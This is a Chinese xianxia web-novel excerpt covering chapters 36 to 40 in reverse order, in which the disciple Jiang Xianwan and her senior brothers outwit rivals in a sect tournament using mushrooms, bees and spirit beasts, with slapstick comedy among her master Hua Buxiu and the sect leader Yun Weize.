花不休挥开层层轻纱,视线掠过面前仍冒着热气的茶水,眼底闪过一丝莫名色泽。 “为何点名指姓非要她去?” 他声音掺杂了一丝不悦,显然压制许久,“云为泽,你最好是没事。” 云为泽阔袖垂在膝头,曳出若华的光泽,笑脸相迎。 “哥,不说这个,咱们兄弟,要不先算个账?” 花不休:“……” 花不休眼皮一跳,周身若有似无的凉意霎时乌云做散。 好吧,说到赔钱……那就没事了。 他屈指抵在唇边,很明智的选择绕开这个敏感的话题。 面色重新挂上几分不愉,意有所指,“她是我徒儿。” 云为泽虽贵为万人敬仰的帝尊,可对于他哥,还是很头疼的。 凤仪剑尊嘴上一口一个孽徒,绝对是最护短的那一个。 他做出如此举动,合该被质疑。 推过去一杯茶,直言道:“我们何等身份,何须一个炉鼎来锦上添花?” 花不休指尖微凝,猝然掀开眼帘,冷眸定定,落在他身上。 他虽信的过云为泽的人品,此事,未免古怪了些。 云为泽左右为难,无奈举手,“哥,你别用这种眼神看我。” “确实出于私心,不好于你相说,但绝对不会有任何危险。” 云为泽难得一次性说这么多话,颇为无奈,“放心,主动权在她。江献晚是聪明人,她既然答应,恐怕有自己的想法。” “呵。”花不休轻轻嗤笑出声,盯着热气飘散的茶盏,不介意说给隐于暗中的人听,“若我要与整个北境为敌呢?” 江献晚剑术修的极好,却不喜用剑,也没有剑。 秘境中用苏清流的剑,随手挥出的一招,他不信云为泽看不出那剑法。 隐隐有万古宗亲传弟子才有的风格,甚至连那些亲传在剑法上受教的都不及她。 传授她的是何人? 不可能是什么长老。 是雾渺,又或者是谁? 帝隐为何出现在这里,躲在暗处,不敢叫他瞧见? 他曾在江献晚第一次拿着树枝做剑,演示剑法时便察觉了。 江献晚遮掩容貌,万里迢迢跑到南境的地盘。 从前定是不尽人意。 他既然收了她,便会倾尽一切护她。 哪怕是云为泽,亦不能阻他半分。 “北境?”云为泽无意欺瞒,却也不便越过当事人摊给花不休说,他笑了笑,表明立场,“咱们南境便怕了吗?” 他并非狂妄。 北境是有帝尊与雾渺,他们兄弟二人自然也不是花瓶摆来看的。 江献晚是个有主意的。 何况,此事早早分明,最好。 省得与帝隐过多牵扯。 想到玄古大陆出了两个难得的炉鼎,且似乎都与帝隐有莫大的关系,云为泽不由得深想两分。 如若江献晚不愿,便彻彻底底是他南境的人,他太虚宗的人,他云为泽的人,万事自然有他兜着。 帝隐并非强人所难之人,所以,他才会勉为其难答应给他几日时间。 云为泽不经意的扫过摇曳轻纱后的光影,不知是说与谁听。 “她既入太虚宗,万事皆有我们二人。” 花不休沉吟须臾,模糊冷哼,勉强答应,只是那一双狭长的眸,仍带着若有似无的凉意。 云为泽慢慢抬起手撑在额际,正头痛时,花不休气势陡变,露出真面目。 “见面礼得给啊。” 云为泽:“……” 任花不休瞪他,云为泽装瞎,喝了三壶茶将他晾走。 瞥见半山腰一道身影,直起懒倦的身子,坐正了些。 江献晚东瞅瞅西逛逛,拎着扫把悠闲的不得了。 她向徐燕洲打听去哪里扫地,后者尴尬地搓手:“要不,你自己找找?” 他问了,但帝尊不理他啊! 江献晚:“……” 江献晚就满峰头的晃悠。 别说,剑尊弟子的身份就是好使,走到哪里都如入无人之境,根本没人管她。 转悠半晌,江献晚拎着扫把无语望天。 该不会是要她负责整个太虚宗的卫生吧? 那就不是一百块灵石的事了! 想了想,觉得是自己没找到正地。 她抬起睫毛,望向掩在云雾中,隐隐有祥泽笼罩的凉亭,拎着扫把慢悠悠地往上爬。 此处明显无法御剑飞行,且有阵法压制修为。 江献晚穿过透明的结界,一步一步,终于登上那似乎近在眼前,却又远在天边,遥不可及的潋浮台。 她捶着腿,累的一屁股坐在玉白的台阶上,从芥子囊中抱出一桶奶酪。 这些奶酪是给江行行买的,放久了就不好吃了。 江献晚边欣赏翻滚的云雾,腮帮子微鼓,吃的努力又认真。 云为泽手肘抵在桌案,长腿微微伸展,看了半天,终于看累了,“要不要喝口茶,顺顺?” 怎么这么能吃啊? 那比盆都大的一桶,吃了得有半桶吧? 江献晚:“……?” 江献晚回首,一阵风来,轻纱拂动,露出颜若美玉,貌比神祇的半张脸。 眼底露出一丝惊艳,很快回神,“我不喜欢喝茶。” 云为泽:“……那,喝水?” 第 40 章 集体受罚 啊啊啊啊啊! 南北两境第一人,凤仪剑尊……竟真的是花不休!!! 对剑尊崇拜的滤镜,刹那碎的渣也不剩! 被戳破心思,秦秦羞臊又着急,“师叔!” 长老们听‘吾’字一出,神色不自觉恭敬起来。 却忍不住围着他七嘴八舌。 “剑尊,哪有您这么带徒弟的?” “我们还不是担心她。” 瞅瞅,真的好像有点臭。 待会再拉裤兜怎么办? 小姑娘还不哭死! 正当花不休微微勾唇,指尖幽幽燃起一簇火焰,众长老和弟子惊的嗷嗷之时。 一股恐怖的威压陡然席卷,笼罩整个演武场,及时拦下花不休焚山焚人的举动,将众人解救。 那低缓的声音如珠滚过玉盘,透过重重云雾,雾里探花般。 声音不高,却足以每一个听到。 嘈杂的演武场霎时安静如鸡,弟子们惊的张大了嘴巴。 这声音…… 长老们面色一肃,齐齐朝潋浮台方向躬身,“帝尊。” “此次大会,弟子表现不尽人意。” 那人似一声叹息。 “即刻前往百剑窟。” 众弟子激动之余,神色不约而同一变,羞愧万分,俯首揖礼,“是。” 不管是什么,他们的确技不如人。 享受着这么多长老的教导,宗门的悉心栽培,却输给了被剑尊散养的四个徒儿。 弟子们朝花不休微微俯身,而后逃也似的消失在演武场,秦秦顿了顿脚步,不忘扛起入定的时云霄。 那道清浅如水的声音,继续道:“弟子诸多不足,诸位长老亦有不可推卸的责任,千剑窟受责。” 众长老面皮充红,恭敬俯首,“是。” 不敢停留,整齐划一朝着花不休弯身告退,拔腿离开。 却听帝尊再次开口,纷纷竖耳。 云为泽指尖轻点在桌面,“凤仪剑尊。” 声音静止几息。 似乎有些纠结。 “为老不尊。” 花不休:“……”尊卑不分! 众人:“……” 生怕凤仪剑尊怒而焚山焚人的众人发足狂奔! 眨眼间,演武场上除了师徒五人,再无其他。 待虚空的神识消失,花不休一脚踹开三个还在走神的少年。 他拢着及地阔袖,微微俯身,修长的手指敲了敲锅。 尽管知道不会有旁人听到,话没好气,却仍压着声音,“别跟为师在这装大瓣蒜,你几斤几两,为师不了解你?” 说罢,眉眼绝滟的青年轻轻叹息一声,声音低沉而柔软,仿佛不仅温柔,“孽徒,为师带你回家。” 江献晚鼻尖泛酸。 如何听不出来,也绝对想不到,花不休早就知道了她的体质。 瓮声瓮气,“那你不许偷我的芥子囊。” 花不休:“……” 说到芥子囊,他猛地直起身,下意识卷了两下袖子,指着锅怒道:“没良心的孽徒!赶紧给我爬出来!” 藏私房钱便罢! 那糖浆就不知给他一罐! 有没有将他这个师尊放在眼里、心里! 江献晚抬手掀开锅,“走就走!” 花不休:“……” 江献晚被花不休兜头裹上一件遮掩气息的兜帽衣袍,拎了后衣领。 云为泽静眼望着五道身影消失在太虚宗,双臂懒懒一环,“尊贵的帝尊大人,您满意了吧?” 江献晚不知自己无形间躲过太虚宗弟子的合伙重拳出击。 被花不休摁进水温微凉的浴桶中,忙拿出玉简,准备跟风回雪说一声,这几日回不去了。 只是,方点开玉简,待发看到风回雪的留言,顿时气的一拳捶烂了浴桶。 死狐狸。 竟然带着她儿子,跑、了! 江献晚咬牙切齿地回给他一道信息,想了想,又发出一道。 不能怪风回雪跑。 妖王身体突然抱恙,风回雪不得不回,又担心她照顾不好江行行,便带着江行行回妖域。 通过几句简单的留言,想来是慌乱下来不及详说。 江献晚难免有些担心。 妖帝那边,恐怕是出了大事。 她垂着眸子,出神的捏着玉简,看了一遍又一遍。 风回雪陪了她和江行行两年,许久未回妖族,又是这么一种情况下,定是难过极了。 如此紧要关头,都没忘记照顾好江行行。 江献晚阖了阖眸子,掩不下眼底的担心。 现在算来,风回雪应当到了南境边境。 她心绪紊乱,在房间强忍了四日,三个少年便在她门外不远处的流苏树下守了四日。 春潮期一过,江献晚神清气爽,霎那间回血。 推开门,笑眯眯地拎着锅,“大师兄,二师兄,小师兄,你们竟然偷懒了四日,看起来很自信啊,不如打两把?” 苏清流:“……” 白子夜:“……” 林玉锦:“……” 亏我们担心你,一出来就要跟师兄打架。 林玉锦唇瓣几番蠕动,极为认真地瞧着江献晚的眼睛,轻声保证道:“小师妹,小师兄以后再也不偷懒了。” 白子夜眉眼温润,掌心落在她脑袋上,“小师妹,二师兄会好好修炼的。” 苏清流什么也没说,抬起手,跟着揉她脑袋。 他们一定会努力变强,保护好小师妹。 江献晚低头,踢开脚下的小石子,在三个少年紧张的注视下,仰起脸,“你们想看看我的真样子吗?” 苏清流唇角勾起一抹温柔的弧度,“不看了,已经很漂亮。” 心底却酸涩无比。 在遇到他们之前,无枝可依的小师妹是如何度过的,又会如何惊慌无助。 白子夜和林玉锦一人揽了江献晚一边肩膀,叽叽喳喳。 就在这时,一声不合时宜的冷哼,打断师兄妹四人温情。 花不休一身柔软青衣,斜倚在破破烂烂的茅草屋,嘴里咬着狗尾巴草,长腿微屈。 “好徒儿们,先别感动,跟为师算一算账如何?” 四人:“……”又双叒叕来! 花不休变成了大美人,可还是一如既往的……烦人! 还有,放屁的功夫,他们成凤仪剑尊的弟子了?! 等四人排着队,一脸惨无人色的从花不休茅草屋走出来,早就成了霜打的茄子,丝毫没有成为剑尊弟子的喜悦和激动。 透过破烂的窗户,花不休淹没在一堆乱七八糟的好东西中,摸摸这个摸摸那个。 心情,更糟了。 这福气,特么一点都不想要! 第 39 章 他也叫花不休 意外的是,玉牌上明明显示只余五人,本该自动被传送出,却无任何动静。 林玉锦悚然,“他们不会是觉得丢脸,想反悔,把我们四个困死在秘境吧!” 太虚宗的人最小气了! 白子夜摩挲着下颌,若有所思,“不能不要脸吧?” “时云霄不也没出去。” 众长老咬着牙,微微一笑。 其中一个长老将灵力输入玉牌。 说谁不要脸? 到底是谁不要脸? 敢让那群异兽给他们当枪使,干出平分分数的事,还想轻飘飘出来? 那可不成! 有种清清白白打一场! 随着一行文字在玉牌上浮现,林玉锦一跺脚,“太狗了!” 竟然临时改规则,余下四人才算结束! 江献晚正想说什么,一直懒散歪站在身侧的苏清流手腕倏尔一折。 不见如何动作,一道缥缈剑气掠至半空。 少年手持长剑,飘然从树梢落下。 不用看来人腰间玉牌就知道,此人正是—— 时云霄。 相比其他亲传,可想而知,有多能打。 白子夜、林玉锦和江献晚无声交换眼神。 随后。 心照不宣,原地躺平。 刺头,就交给老大吧。 时云霄将方才那一场酣畅淋漓的大乱斗,从头看到尾。 见三人刷地平躺下,一副打算酣然入睡的架势,不由弯眸笑了笑,露出几分羡慕的神色。 “苏师弟,带孩子很累吧?” 永远都是没睡醒,歪歪扭扭的样子。 可见江献晚他们仨有多皮实。 三个孩子:“……?” 苏清流懒懒散散递出一剑,声线模糊,“还行吧。” 时云霄笑意愈发明朗,沉腕间,风度翩翩挡了他的剑意,“不若,小师妹由我来带?” 苏清流:“……?” 你要这么说,我可就打死你了! 苏清流难得有认真的时候,指尖轻弹剑身,闲散的气势敛去三分,剑意震荡。 “那可不成。” 另外两个,倒是可以送给他。 话音未落,两人已过了数十招。 不含任何水分。 地上三人却闹做一团。 白子夜做出凶狠的样子,轻轻去揪江献晚的耳尖,“快说,我是你最心爱的二师兄!” 林玉锦揪她另一只耳尖,“那不能够!说,我才是你最心爱的小师兄!” 江献晚:“……” 时云霄怎么也想不到,他被苏清流最后一剑秒了的时候,会被江献晚表明衷心似的一锅,和林玉锦暗含敌意的一锅,开了瓢。 还被一支灵笔狠抽了一下屁股。 他怀揽长剑,头上顶着两团包,沉默地看着灵幕中盘腿坐下,头碰头,围在一起分赃的四人。 忽然跟着盘腿一坐,竟是入定了! 众长老本来还担心三人补刀的无耻,会使得他道心不稳。 正忧心想要出口安慰时,无语地发现,时云霄入定了。 苏清流四人对此一无所知,分赃分的毫无负担,为了并列第一,果断丟了几块地晶。 脸是什么? 能吃吗? 江献晚刚揣起自己的那份,唇角的笑意来不及敛去,面色猝然一变。 想也不想,抓起大铁锅,在被传送出秘境的那一刻,扣在了自己脑袋上。 “小师妹!” 三个少年陡然一惊,苏清流眉眼亦是多了丝凝重。 将这一幕看在眼里的各位长老有些疑惑,纷纷起身围向那口倒扣在地上的大锅。 花不休一步踏至演武场中央。 蜷窝在锅中的江献晚惊的脸都白了些,听到周围传来的动静,迅速掏出一坨奇臭无比的丹药,拼命往身上抹,试图压下身上开始逸散的香气。 她的春潮期,竟在此刻来了! 偌大的演武场上围满了长老弟子,帝隐神色微变,正欲起身,想到什么,隐忍的蜷紧手指,还是坐稳了。 云为泽缓缓搁下茶盏,“莫不是春潮期出现了?” 那口锅被众人里三层外三层围在中间,一位长老试图去抠,锅却像被施下千斤重力,纹丝不动。 江献晚鬓角沁出一层薄薄的汗,咬着牙,再次贴上几道千斤符。 怎么办? 她总不能在锅里躲四五日吧! 苏清流他们虽不能确定,敏锐的察觉出一丝不同寻常,展臂拦下撸起袖子准备合力搬锅的两位长老。 “别碰!” “别动锅!” “不许碰!” 跻身帮忙的花不休被苏清流一把推了个踉跄。 意识到这三个瞎眼兔崽子不认得他的真面容,挥袖将众人拂开。 “滚蛋!” 弟子们早就看呆了,尽管惧怕神色忽而转寒的剑尊,宁愿挨一顿打,谁也不肯远离了去。 都想看看江献晚又在搞什么名堂,顺便磨掌擦拳,准备合伙暴揍她一顿,以解秘境大仇。 长老们担心之下,合伙针对起了花不休,炼丹长老失态喊出凤仪剑尊的大名。 “花不休,这都什么时候了,快让开!她方才脸色不对,让我给她瞧瞧!” “现在不是玩笑的时候!” “你没见她脸色都变了吗!” 苏清流三人微怔,还维持着张开双臂的姿势,一脸麻木地看向貌美如花、脑子有病的凤仪剑尊。 花不休? 他也叫花不休? 哪个花不休? 他不是凤仪剑尊吗!!! 晃神的空隙,花不休一袖挥开苏清流和白子夜,抬腿踹开林玉锦,一屁股坐在了锅上。 双臂环抱,一条长腿悠闲的搭在另一条腿上,指尖不动声色捏碎一颗丹药。 “哦,脸色难看啊?可能是因为我之前偷偷在她房间的水杯里放了两勺巴豆粉吧。” 说罢,故作嫌弃的扇了扇衣袖。 众人:“……?” 好像是有点臭。 倒是……有你这么坑弟子的吗! 江献晚:“……” 秦秦紧锁着眉,眼含紧张和不赞同,“小师叔,您先起来,让明长老为晚晚师妹看看。” 闻言,花不休偏头轻飘飘乜他,“谁是你小师叔?谁是你晚晚师妹?” 敢来肖想他的孽徒? 谁给他的胆子? 又垂眸抚着指尖,漫不经心的声线,含着绝对强势的压制,“吾的话是不管用了吗?” “今日谁再敢伸一根手指,吾焚了整个太虚宗……包括,尔等。” 众人:“……” 苏清流:“……!” 白子夜:“……!” 林玉锦:“……!” 锅里的江献晚:“……!” 第 38 章 把你妈叫来 秘境形成一道独特的风景,那是历年大会从来没出现过的,众弟子围杀一人的场景。 看的人热血沸腾,恨不得跟着跑两圈,摁着江献晚暴揍一顿! 众长老静默须臾,接二连三沉声道:“大比结束,让她来我这里听课。” “既然如此,咱们先给她排一下课。” 敢说他们虚? 练死她! 花不休看的直摇头。 孽徒真真是活该。 小金鸣刚破壳就遇到这种大场面,紧紧的抓着江献晚的头发,兴奋的仰脖:“叽!” 江献晚躲开法器攻击,抬手打它屁股,“别叫的这么兴奋!惨一些!” “叽!” “大声点!把你妈叫来!” “叽——!” “叽叽——!!!” 云为泽:“……” 在听到江献晚那一句诚恳发问时,他眉眼稍僵,一下没一下点在膝头的指尖也跟着凝滞。 虚? 江献晚是从哪里得论出的? 云为泽若有所思的看着江献晚轻轻打小金鸣兽的屁股,让它大点声,神色渐渐古怪。 见好友唇角含笑,一脸不值钱的样子,云为泽眉心一动,不介意反手戳他心窝子,帮助他认清现实。 悠然捏起茶盏,学着江献晚的语气,诚恳询问,“话说,她是如何看上你的?” 江献晚这种性子,显然倔犟如驴。 是如何点头,同帝隐在一起双修的? 帝隐:“……” 这个,他不知晓。 帝隐沉默几息,从雪袖中勾出一枚玉简,传音给雾渺。 片刻后,目光久久落在雾渺传回来的委婉措辞,唇角便委屈的抿紧了。 她饿了…… 云为泽满意勾唇,将视线挪回到灵幕上。 江献晚这会儿很是水深火热,几次被法器砸中。 幸好她抗揍。 幸好埋伏圈近在咫尺。 各部门成员早已就位,蜂王带领群蜂倾巢出动,装成一副采花蜜的样子。 黏在花瓣树干上,鬼鬼祟祟去瞄那些弟子。 弟子们自然不会注意到这些蜜蜂,全身心都放在追杀江献晚身上,跑的鞋底子冒火星。 蜂王朝江献晚扇动翅膀:准备就绪! 江献晚比了个“ok”的手势。 仰起脸,在小金鸣兽扯着嗓子,“叽叽叽”的响亮叫声中,气沉丹田,凄厉的声音几乎响彻整个秘境。 “大师嫂,有人抢亲了!” 苏清流睫毛一颤。 远方,打的昏天暗地,动静极大的两个异兽同时僵住。 三秒后,刷地齐齐别过脑袋。 大金鸣兽:“叽——!” 接下来的一幕,完全称得上可以载入太虚宗历年来弟子交流大会的史册! 江献晚意气风发,一步踏入埋伏圈。 众弟子正是心潮澎湃,未曾察觉异样。 紧随其后,呈面围剿之势,张牙舞爪的举着各种法器,朝她涌去。 在法宝光芒和数十只手即将触碰到江献晚的一瞬间,众长老皆扭曲着面庞,露出不忍和恨铁不成钢而牙酸的狰狞表情。 咻—— 一下。 江献晚一跺脚,笔直的冲向天空。 阵法亮起的刹那间,那些疯狂释放攻击的弟子,先是一怔。 紧接着……被突如其来,从地下涌出的蘑菇大军,还有铺天盖地,兴奋“嗡嗡嗡”的蜜蜂,尽数淹没! “卧槽!蘑菇!” “卧槽!蜜蜂!” “卧槽!困阵!” “啊——!” “我屁股!” “有毒!” 一时间,众弟子的痛叫声和骂骂咧咧声,宛如浪潮推叠,厚冰乍裂,盘绕于空,久久不歇。 与此同时,金鸣兽和蜘蛛掐着点,成功赶到事发现场。 在看到小金鸣兽“叽叽叽”,两只小翅膀一顿激动的比划。 还有江献晚装模作样,一边将想要逃出苦海的弟子重新打回去,一边佯装愤怒指责,“你们这些可恶的人类!不仅想烤鸟,还想拆散我大师兄和我大师嫂!” 说罢,悲伤的回头朝匆匆赶来救夫的大师嫂道:“他们把我大师兄打出秘境了!” 那还得了! 听到儿子激动的比划着翅膀,说这些人要将它做成烤鸡翅。 金鸣兽二话不说,扇着翅膀,加入战场! 啄罢这个啄那个。 扇完这个扇那个。 听到这些人拆散它的新家,将它的另一半丟出了秘境,还痛骂自己的小师妹。 蜘蛛迈着八条大长腿,跟着加入了战场! 这个一网! 那个也一网! 尘土飞扬,漫天风沙。 众弟子都很绝望,甚至搞不清状况。 暂且不说这两个没脑子的元婴期兽兽,那些蘑菇和蜜蜂,是特么的吃错了药吗? 漫天毒雾中,不论是蘑菇大军、蜜蜂大军,还是金鸣兽和蜘蛛,没有任何一个兽给这些弟子狡辩逃跑的机会。 蘑菇大军和困阵犹如铁桶一般,蜜蜂和元婴大佬负责攻击。 甚至愈打愈兴奋。 根本不用三个师兄搭把手,江献晚举着锅,打地鼠似的,负责暴打想要逃出生天的漏网之鱼。 这个一锅。 那个也一锅。 “江献晚!你这个孙子!” “江献晚!我与你不共戴天!” “江献晚!你给我等着!” “江献晚——!” 这辈子没听过如此之多,丰富而诚炽的问候,江献晚怀揣着感动的心情,一锅送走最后一个弟子。 白子夜和林玉锦挤开众蘑菇,手里各捏着一块录像功能的灵石,倒是不见苏清流。 想来大师兄不知如何面对她美丽的大师嫂。 林玉锦宝贝似的亲了一口灵石,眉飞色舞,“此一战,卖给黑市,绝对可以赚个底朝天!” 众长老:“……” 赚不赚个底朝天,不知道。 灵石要是散播出去,太虚宗的脸绝对丟个底朝天! 还好…… 四个小崽子,得亏是太虚宗的弟子! 要丢人,到时候一起丢人! 江献晚还是有点良心的。 蘑菇大军和蜜蜂大军跟着她忙碌半天,哪里好意思再吃人家蘑菇。 抱出蘑菇王,又拿出两个沉甸甸的包袱,将丹药悉数倒它嘴里,“辛苦费,你们可以走了。” 蘑菇王的胖杆杆撑的圆了三圈。 它嚼吧一颗丹药,高兴的脑瓜子直抖:成!那你下次想吃蘑菇,再来找我,我给你生! “那感情好,下次还找你。” 江献晚摆摆手,蘑菇王率领着蘑菇大军乌泱泱的走了。 转身又递给蜂王两袋丹药,“解毒丹,还有槐花味和桃花味的回灵丹,辛苦费。” 蜂王一阵嗡嗡嗡,心满意足的招呼蜜蜂大军离开。 白子夜和林玉锦四肢抽搐着往嘴里塞解毒丹。 毕竟,蘑菇有毒。 “那……它们怎么办?”林玉锦偷偷戳了戳大金鸣兽,得到一记轻啄。 江献晚将哑着嗓子,还在兴奋叽叽叽的小金鸣兽,还给它妈,并送上两袋牛肉味的丹药,和两颗解毒丹,“记得多听你妈的话。” “叽叽——!” 大金鸣兽白了一眼失魂落魄的蜘蛛,带着孩子离开。 算了。 它老公都没了。 今日暂且饶过它。 对于自个的大师嫂,江献晚有些心虚和不忍。 摸着它腿毛,温声安慰,“大师嫂,您节哀。” 到底没忍心说出那句:你俩不合适。 白子夜轻叹一口气,“大师嫂,下次见。” 林玉锦拍拍它的大长腿,语重心长,“大师嫂,找个好男人,早点改嫁吧,大师兄是渣男。” 苏清流:“……” 蜘蛛背着两袋丹药,回头看了看挥动着手臂的师弟师妹,缓缓消失在视线。 苏清流从林中转出,江献晚欲言又止,还是道:“追吗?” 苏清流:“……” 白子夜压上他半边肩,“你媳妇走了。” 林玉锦压上他另一半肩,“你媳妇不要你了。” 苏清流反手一人给一胳膊肘。 人与兽的爱情,就此落幕。 第 37 章 更无耻一些 江献晚跟蜂王耳语几句,四人便相继起身。 走了没多远,决定将埋伏圈定在这处四面地势略高,中间凹凸的位置。 白子夜和江献晚随手在各个方位摆好灵石,又寻了些树叶遮挡,确定看不出任何痕迹。 做完这些,江献晚跑的一溜烟儿,三个少年钻进三面方向的灌木丛猫缩。 视线好,隐蔽,必要时方便补锅。 看到蛰伏在周围,偷感极重的蜜蜂大军,众长老愈发有种很不好的感觉。 其中一长老艰难的扭过头,“凤仪,她应该没那么无耻吧?” 单凭那些蘑菇大军和蜜蜂大军不再跟着江献晚,躲藏在原地的举动。 明眼能看出,江献晚似乎打算调派她的左膀右臂,给她打辅助。 剩下的弟子是很强,精英中的精英,天才中的天才。 谁知道面对又是蘑菇又是蜜蜂的突然袭击,还有布好的天罗地网,能不能及时反应,团结抱一,扛住? 最重要的是。 江献晚是怎么有信心,一人可以成功引剩余弟子进埋伏圈,而不是半路被反杀呢? 不得不说,这种敢想敢干的大胆作风,众长老看的很是满意。 世上天才何其多,但这么疯,又会智取的,还是很稀少的。 前提是,她能成功。 苏清流他们还都没有出手的意思,这得多无脑信任? 又何尝不是另一种对彼此的信任方式。 三个少年自然对自己的小师妹有一种迷之信任。 管那些呢。 小师妹只要想,肯定能做到。 退一万万步,做不到,大不了灵石不要。 开心最重要! 三个少年毫无负担的躺平了。 还是真正意义上的躺平。 接二连三,睡的那叫一个香! 花不休食指轻轻一晃,“自然不。” 在众长老半是欣慰,半是因看不到那种壮观场面诡异失望,慢悠悠加一句,“大约……更无耻一些。” 众长老:“……” 别说,花不休那是相当了解自己的徒儿。 江献晚不仅要蘑菇大军和蜜蜂大军给她打辅助,决定把金鸣兽和大师嫂拉入犯罪团伙。 蘑菇大军的毒素,不会对土生土长的元婴期兽兽造成太大影响。 它俩闲着也是闲着。 只不过,这俩八成还在打的有来有回,不急。 先摇人。 她随手给脑袋上的小金鸣兽一颗烧鸡味的丹药,发足跃上高高的树杈。 抬眼望去,很轻易看到远处有五个弟子四处张望,像是在寻找什么。 “江献晚走了什么狗屎运,分数比参赛弟子都多。” “我敢打赌,时师兄肯定会找上她的。” “等他们两拨人打起来,灵力消耗的差不多,咱们到时候齐心协力,浑水摸鱼,把他们全出局怎么样?” “我觉得可以一试。” 江献晚躲在树上,听的一挑眉。 想法不错。 但她是那种会将即将到手的两万五极品灵石,再吐出来的人吗? 等五个弟子走远,江献晚从芥子囊中翻找出一把唢呐。 这把唢呐还是风回雪那个傻子遇到丧葬队伍,花重金,好奇买下的。 回来之后,缠着她,硬生生给她吹奏了一曲他跟人家新学的丧葬风歌曲。 换来她……一顿毒打。 想到风回雪半夜悄咪咪的爬上屋顶,偷偷练习,左邻右舍又来砸她家房门。 江献晚点头哈腰,熟稔的赔偿过精神损失费后,果断将他的唢呐没收。 她想了片刻,决定来一首百鸟朝凤。 众长老本来还在她拿出唢呐的那刻,有些疑惑。 在唢呐朝天一扬,第一声如凤凰涅槃的啼鸣刺破云霄时,几个泼翻了茶盏。 “她不是阵修吗?” 无论是那如刀刃劈开混沌,又如枯枝骤然惨烈的音色。 还是那纤如音丝却暗藏裂帛之势,又似闷雷呜咽的在棺椁上滚动的气势。 比祝茵曼过之而无不及! 负责音律课的长老看都不看腿上冒着热气的湿茶叶,激动的一拍桌案,“此曲甚妙!甚妙!” “凤仪剑尊,务必让江献晚每日来我音修堂听课!” 出局的祝茵曼听的心头激荡,被激发出凶狠的战意,激动的举着唢呐,放出狠话,“我要和她决一死战!” “那叫一决高下。”楚微凝捂着肚子,无语更正道。 花不休:“……” 江献晚还不知接下来会面对怎样惨无人生的各种课程,还有各个亲传的特殊照顾,吹的那叫一个酣畅淋漓。 一串花舌音炸开,恍若无数麻雀惊飞。 唢呐声化作赤金翎羽,夹裹着魂魄盘旋而上,撞的云层裂开一道天光。 刚睡着没多久的三个少年慢吞吞的翻了个身,看起来习以为常。 秘境中剩下的弟子,在这一刻齐刷刷抬头,望向声源方向。 “江献晚?” “我还以为是祝师姐!” “祝师姐才不会吹这种丧葬风格的曲子!” “挑衅!她绝对是挑衅!” “走!正愁找不到她,没想到她这么狂!” 高高的树冠枝桠,赫然立着一个身穿青色衣裙的少女。 生怕别人发现不了她,周身灵力涌动,凝聚成金色的花苞,纷如密雨,盘旋在周身。 甚至还以灵力,凝成欠揍的一句—— 我在这儿等着你们来,等着你们来把那玉牌摘。 众弟子:“……”草! 信不信摘了你的脑袋! 他们要是不去,干脆就把自己的脑袋摘下来,踩个稀巴烂! 正打架的弟子更是瞬间握手言和,手牵手跑的那叫一个快! 时云霄抬眸,视线扫过,诧异的将眉一扬。 不紧不慢,步行着朝江献晚的方向去。 江献晚满意的听着四面传来的细微动静,将唢呐收入芥子囊。 声势已造好,接下来就等剩下的弟子来围殴她。 “她怎么不吹了?!” 长老们很失望,表示没听过瘾。 但接下来的场景,迅速掩盖了这种失望。 江献晚没等多久,很快等到十来个从各个方向包抄过来的弟子。 她与一群赶来的弟子大眼瞪小眼,在众人面庞狰狞,举起法器,嗖地一下,踩着树枝……走了。 并且留下一句极具侮辱性的挑衅—— “你们来追我啊!” 众弟子:“……”我追不死你! “江献晚!别跑!” “站住!” “你们倒是别追!” “你倒是别跑!” “你们不追,我怎么跑!” “你不跑,我们怎么追!” 江献晚边和他们打嘴仗,边带着他们在周围兜圈子。 左闪右躲,躲不过,便一口锅下去。 队伍很快壮大。 江献晚跑了十几圈,扭头数了一下人数。 差一个。 时云霄。 问题不大,就是有点可惜,没能跟太虚宗最牛逼的弟子打上一架。 等这些弟子全出局,正好留下五人,到时丢掉几块地晶,再平等分成四份。 “有种就别跑!” 倏地听到这么一句,江献晚紧急刹车,猛然掉头。 她有种! 不跑就不跑! “等等,我有一个问题?” 一弟子气喘吁吁,“什么问题?” “太虚宗,是因为你们这些弟子很虚,才叫太虚宗的吗?” 云为泽:“……?” 众长老:“……?” 众弟子:“……!” 过分了啊! 说的就跟你不是太虚宗的弟子似的! 可想而知,江献晚惹了众怒。 堂堂南境,第一大宗。 何时有人敢说他们虚? 还怼着人家脸,一本正经发问! 他们哪里虚了! 众弟子觉得很有必要证明一下,他们每一个都不虚! 二十道法器,铺天盖地,带着凛凛的杀意,不约而同,朝她脑袋上砸来! “江献晚!我今天就让你感受一下我到底虚不虚!” “太过分了!揍她!” “我一夜八次,敢说我虚!” “咱俩睡一屋,我怎么不知道你一夜八……等等!你特么跟谁一夜八次?!” “我、我跟自个不行啊!” 江献晚:“……” 一夜八次暂且不说。 她问的没毛病吧? 连亲传追不上她,可不就是虚。 江献晚望着一群弟子朝她呲牙咧嘴的程度,觉得自己真的该认真跑路了。 当机立断,掏出一张疾风符,炮弹似的,往埋伏圈冲去。 第 36 章 两兽打架 方才它出去时,见到几个修士打的死去活来。 他们既然跟它是一家子,自然不能被旁人给欺负去。 三个小家伙如此满意这门亲事,它反而恶意揣摩,的确说不过去。 又着急洞房,没多想,便喷出一片油脂。 瞧着很是没脑子的三人满蜘蛛网打滚,不再管他们,怀揣着紧张而羞涩的心情,向着苏清流那张蜘蛛网缓缓爬去。 苏清流:“……” 白子夜收回同情的余光,乐不可支朝江献晚无声道:真就看着大师兄生小蜘蛛?怪害臊的~ 江献晚唇角一抽。 生小蜘蛛? 信不信大师兄反手罚他们倒立。 倒是席天幕地,红被翻浪,在他们眼皮底下上演人与兽的激情大戏,确实挺害臊的。 江献晚没有看别人洞房的癖好。 林玉锦没觉得不好,狗狗祟祟直往另一张网上猛瞟,声音还挺迫不及待,“我想看大师兄生小蜘蛛!” 江献晚:你想死可以直接说。 眼见大师嫂以一种居高临下的姿势,爬到了苏清流身上。 少年骨节分明的手指难耐一蜷,含着什么的眸子缓缓眯起,向他们看来。 白子夜立时绷紧唇,后知后觉开始害怕,颤声道:“小师妹,我觉得他想杀了我们。” 林玉锦被盯的头皮发麻,不敢再看热闹,结结巴巴,“那,那怎么办?” 苏清流越是按捺着不反抗,就说明他们的下场越凄惨。 恐怕不是单手倒立那么简单! 但是他们不想粗鲁的对待这么好的大师嫂啊! 白子夜和林玉锦一致向江献晚投去催促的目光。 想办法! 见苏清流的衣襟被大师嫂扒拉开一片,露出小片精悍的胸膛,江献晚顿时燃起作为师妹该有的责任心! 绝不承认自己怂了。 打算拯救……自己和两个师兄的小命。 